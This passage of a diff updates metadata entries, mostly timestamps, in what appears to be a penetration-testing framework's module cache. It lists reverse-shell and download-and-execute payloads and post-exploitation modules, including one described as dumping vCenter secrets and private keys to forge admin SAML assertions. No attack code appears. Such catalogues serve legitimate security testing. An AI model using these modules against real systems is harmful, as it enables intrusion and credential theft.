||||
"path": "/modules/payloads/singles/php/download_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/download_exec",
|
||||
@@ -191615,7 +192272,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/php/exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/exec",
|
||||
@@ -191856,7 +192513,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-17 10:51:20 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/meterpreter_reverse_tcp",
|
||||
@@ -191890,7 +192547,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/php/reverse_perl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/reverse_perl",
|
||||
@@ -191924,7 +192581,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/php/reverse_php.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/reverse_php",
|
||||
@@ -191958,7 +192615,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/php/shell_findsock.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/shell_findsock",
|
||||
@@ -191992,7 +192649,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-05 15:58:10 +0000",
|
||||
"path": "/modules/payloads/stagers/python/bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter/bind_tcp",
|
||||
@@ -192027,7 +192684,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-05 15:58:10 +0000",
|
||||
"path": "/modules/payloads/stagers/python/bind_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter/bind_tcp_uuid",
|
||||
@@ -192061,7 +192718,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-11-10 12:33:52 +0000",
|
||||
"mod_time": "2022-11-05 15:58:10 +0000",
|
||||
"path": "/modules/payloads/stagers/python/reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter/reverse_http",
|
||||
@@ -192095,7 +192752,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-11-10 12:33:52 +0000",
|
||||
"mod_time": "2022-11-08 10:26:27 +0000",
|
||||
"path": "/modules/payloads/stagers/python/reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter/reverse_https",
|
||||
@@ -192129,7 +192786,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-05 15:58:10 +0000",
|
||||
"path": "/modules/payloads/stagers/python/reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter/reverse_tcp",
|
||||
@@ -192165,7 +192822,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-05 15:58:10 +0000",
|
||||
"path": "/modules/payloads/stagers/python/reverse_tcp_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter/reverse_tcp_ssl",
|
||||
@@ -192200,7 +192857,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-05 15:58:10 +0000",
|
||||
"path": "/modules/payloads/stagers/python/reverse_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter/reverse_tcp_uuid",
|
||||
@@ -192234,7 +192891,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-10-27 09:55:14 +0000",
|
||||
"mod_time": "2022-11-05 15:58:10 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_bind_tcp",
|
||||
@@ -192268,7 +192925,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-10-27 09:55:14 +0000",
|
||||
"mod_time": "2022-11-05 15:58:10 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_reverse_http",
|
||||
@@ -192302,7 +192959,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-10-27 09:55:14 +0000",
|
||||
"mod_time": "2022-11-05 15:58:10 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_reverse_https",
|
||||
@@ -192336,7 +192993,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-10-27 09:55:14 +0000",
|
||||
"mod_time": "2022-11-05 15:58:10 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_reverse_tcp",
|
||||
@@ -192370,7 +193027,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-08 10:26:27 +0000",
|
||||
"path": "/modules/payloads/singles/python/pingback_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/pingback_bind_tcp",
|
||||
@@ -192404,7 +193061,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-08 10:26:27 +0000",
|
||||
"path": "/modules/payloads/singles/python/pingback_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/pingback_reverse_tcp",
|
||||
@@ -192438,7 +193095,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-08 10:26:27 +0000",
|
||||
"path": "/modules/payloads/singles/python/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/shell_bind_tcp",
|
||||
@@ -192472,7 +193129,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-08 10:26:27 +0000",
|
||||
"path": "/modules/payloads/singles/python/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/shell_reverse_tcp",
|
||||
@@ -192506,7 +193163,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-08 10:26:27 +0000",
|
||||
"path": "/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/shell_reverse_tcp_ssl",
|
||||
@@ -192540,7 +193197,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-08 10:26:27 +0000",
|
||||
"path": "/modules/payloads/singles/python/shell_reverse_udp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/shell_reverse_udp",
|
||||
@@ -192574,7 +193231,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/r/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "r/shell_bind_tcp",
|
||||
@@ -192608,7 +193265,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/r/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "r/shell_reverse_tcp",
|
||||
@@ -192642,7 +193299,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/ruby/pingback_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "ruby/pingback_bind_tcp",
|
||||
@@ -192676,7 +193333,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/ruby/pingback_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "ruby/pingback_reverse_tcp",
|
||||
@@ -192711,7 +193368,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/ruby/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "ruby/shell_bind_tcp",
|
||||
@@ -192746,7 +193403,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "ruby/shell_bind_tcp_ipv6",
|
||||
@@ -192781,7 +193438,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/ruby/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "ruby/shell_reverse_tcp",
|
||||
@@ -192815,7 +193472,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "ruby/shell_reverse_tcp_ssl",
|
||||
@@ -192849,7 +193506,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "solaris/sparc/shell_bind_tcp",
|
||||
@@ -192883,7 +193540,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/solaris/sparc/shell_find_port.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "solaris/sparc/shell_find_port",
|
||||
@@ -192917,7 +193574,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "solaris/sparc/shell_reverse_tcp",
|
||||
@@ -193495,7 +194152,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_hop_http",
|
||||
@@ -193565,7 +194222,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_http_proxy_pstore",
|
||||
@@ -193637,7 +194294,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_https_proxy",
|
||||
@@ -194522,7 +195179,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/dllinject/reverse_hop_http",
|
||||
@@ -194594,7 +195251,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/dllinject/reverse_http_proxy_pstore",
|
||||
@@ -195001,7 +195658,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/windows/dns_txt_query_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/dns_txt_query_exec",
|
||||
@@ -195035,7 +195692,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/windows/download_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/download_exec",
|
||||
@@ -195106,7 +195763,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-12-11 06:44:35 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/windows/format_all_drives.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/format_all_drives",
|
||||
@@ -195144,7 +195801,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/windows/loadlibrary.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/loadlibrary",
|
||||
@@ -195179,7 +195836,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-02-25 16:49:59 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/windows/messagebox.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/messagebox",
|
||||
@@ -195602,7 +196259,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter/reverse_hop_http",
|
||||
@@ -195678,7 +196335,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter/reverse_http_proxy_pstore",
|
||||
@@ -195756,7 +196413,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter/reverse_https_proxy",
|
||||
@@ -198687,7 +199344,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/windows/pingback_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/pingback_bind_tcp",
|
||||
@@ -198721,7 +199378,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/windows/pingback_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/pingback_reverse_tcp",
|
||||
@@ -200901,7 +201558,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/vncinject/reverse_hop_http",
|
||||
@@ -200973,7 +201630,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/vncinject/reverse_http_proxy_pstore",
|
||||
@@ -201955,7 +202612,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/windows/x64/exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/exec",
|
||||
@@ -201990,7 +202647,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/windows/x64/loadlibrary.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/loadlibrary",
|
||||
@@ -202024,7 +202681,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-12-19 18:19:24 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/windows/x64/messagebox.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/messagebox",
|
||||
@@ -203168,7 +203825,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/windows/x64/pingback_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/pingback_reverse_tcp",
|
||||
@@ -205801,7 +206458,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-09 15:53:58 +0000",
|
||||
"mod_time": "2022-11-21 00:46:44 +0000",
|
||||
"path": "/modules/post/linux/gather/enum_network.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/enum_network",
|
||||
@@ -205854,7 +206511,7 @@
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_linux/gather/enum_psk": {
|
||||
"name": "Linux Gather 802-11-Wireless-Security Credentials",
|
||||
"name": "Linux Gather NetworkManager 802-11-Wireless-Security Credentials",
|
||||
"fullname": "post/linux/gather/enum_psk",
|
||||
"aliases": [
|
||||
|
||||
@@ -205865,7 +206522,7 @@
|
||||
"author": [
|
||||
"Cenk Kalpakoglu"
|
||||
],
|
||||
"description": "This module collects 802-11-Wireless-Security credentials such as\n Access-Point name and Pre-Shared-Key from your target CLIENT Linux\n machine using /etc/NetworkManager/system-connections/ files.\n The module gathers NetworkManager's plaintext \"psk\" information.",
|
||||
"description": "This module collects 802-11-Wireless-Security credentials such as\n Access-Point name and Pre-Shared-Key from Linux NetworkManager\n connection configuration files.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -205875,7 +206532,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-21 00:28:34 +0000",
|
||||
"path": "/modules/post/linux/gather/enum_psk.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/enum_psk",
|
||||
@@ -205883,6 +206540,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
@@ -206389,7 +207055,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-08-15 18:10:44 +0000",
|
||||
"mod_time": "2022-11-22 11:55:47 +0000",
|
||||
"path": "/modules/post/linux/gather/tor_hiddenservices.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/tor_hiddenservices",
|
||||
@@ -206410,15 +207076,20 @@
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-04-15",
|
||||
"type": "post",
|
||||
"author": [
|
||||
"npm <npm@cesium137.io>"
|
||||
"npm <npm@cesium137.io>",
|
||||
"Erik Wynter",
|
||||
"h00die"
|
||||
],
|
||||
"description": "Grab secrets and keys from the vCenter server and add them to\n loot. This module is tested against the vCenter appliance only;\n it will not work on Windows vCenter instances. It is intended to\n be run after successfully acquiring root access on a vCenter\n appliance and is useful for penetrating further into the\n environment following a vCenter exploit that results in a root\n shell.\n\n Secrets include the dcAccountDN and dcAccountPassword for\n the vCenter machine which can be used for maniuplating the SSO\n domain via standard LDAP interface; good for plugging into the\n vmware_vcenter_vmdir_ldap module or for adding new SSO admin\n users. The MACHINE_SSL, VMCA_ROOT and SSO IdP certificates with\n associated private keys are also plundered and can be used to\n sign forged SAML assertions for the /ui admin interface.",
|
||||
"references": [
|
||||
|
||||
"URL-https://github.com/shmilylty/vhost_password_decrypt",
|
||||
"CVE-2022-22948",
|
||||
"URL-https://pentera.io/blog/information-disclosure-in-vmware-vcenter/",
|
||||
"URL-https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "",
|
||||
@@ -206426,7 +207097,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-01 17:33:14 +0000",
|
||||
"mod_time": "2022-11-19 10:33:31 +0000",
|
||||
"path": "/modules/post/linux/gather/vcenter_secrets_dump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/vcenter_secrets_dump",
|
||||
@@ -206438,11 +207109,10 @@
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
@@ -209269,6 +209939,54 @@
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_multi/recon/reverse_lookup": {
|
||||
"name": "Reverse Lookup IP Addresses",
|
||||
"fullname": "post/multi/recon/reverse_lookup",
|
||||
"aliases": [
|
||||
"post/windows/gather/reverse_lookup",
|
||||
"post/windows/recon/resolve_ip"
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"mubix <mubix@hak5.org>"
|
||||
],
|
||||
"description": "This module reverse resolves an IP address or IP address range to hostnames.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "BSD,Linux,OSX,Solaris,Unix,Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-05 13:18:35 +0000",
|
||||
"path": "/modules/post/multi/recon/reverse_lookup.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/recon/reverse_lookup",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter",
|
||||
"powershell",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_multi/recon/sudo_commands": {
|
||||
"name": "Sudo Commands",
|
||||
"fullname": "post/multi/recon/sudo_commands",
|
||||
@@ -211251,7 +211969,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-07-20 17:21:58 +0000",
|
||||
"mod_time": "2022-11-29 21:28:15 +0000",
|
||||
"path": "/modules/post/windows/gather/checkvm.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/checkvm",
|
||||
@@ -211259,9 +211977,19 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter",
|
||||
"powershell",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
@@ -212952,6 +213680,54 @@
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/gather/credentials/navicat": {
|
||||
"name": "Windows Gather Navicat Passwords",
|
||||
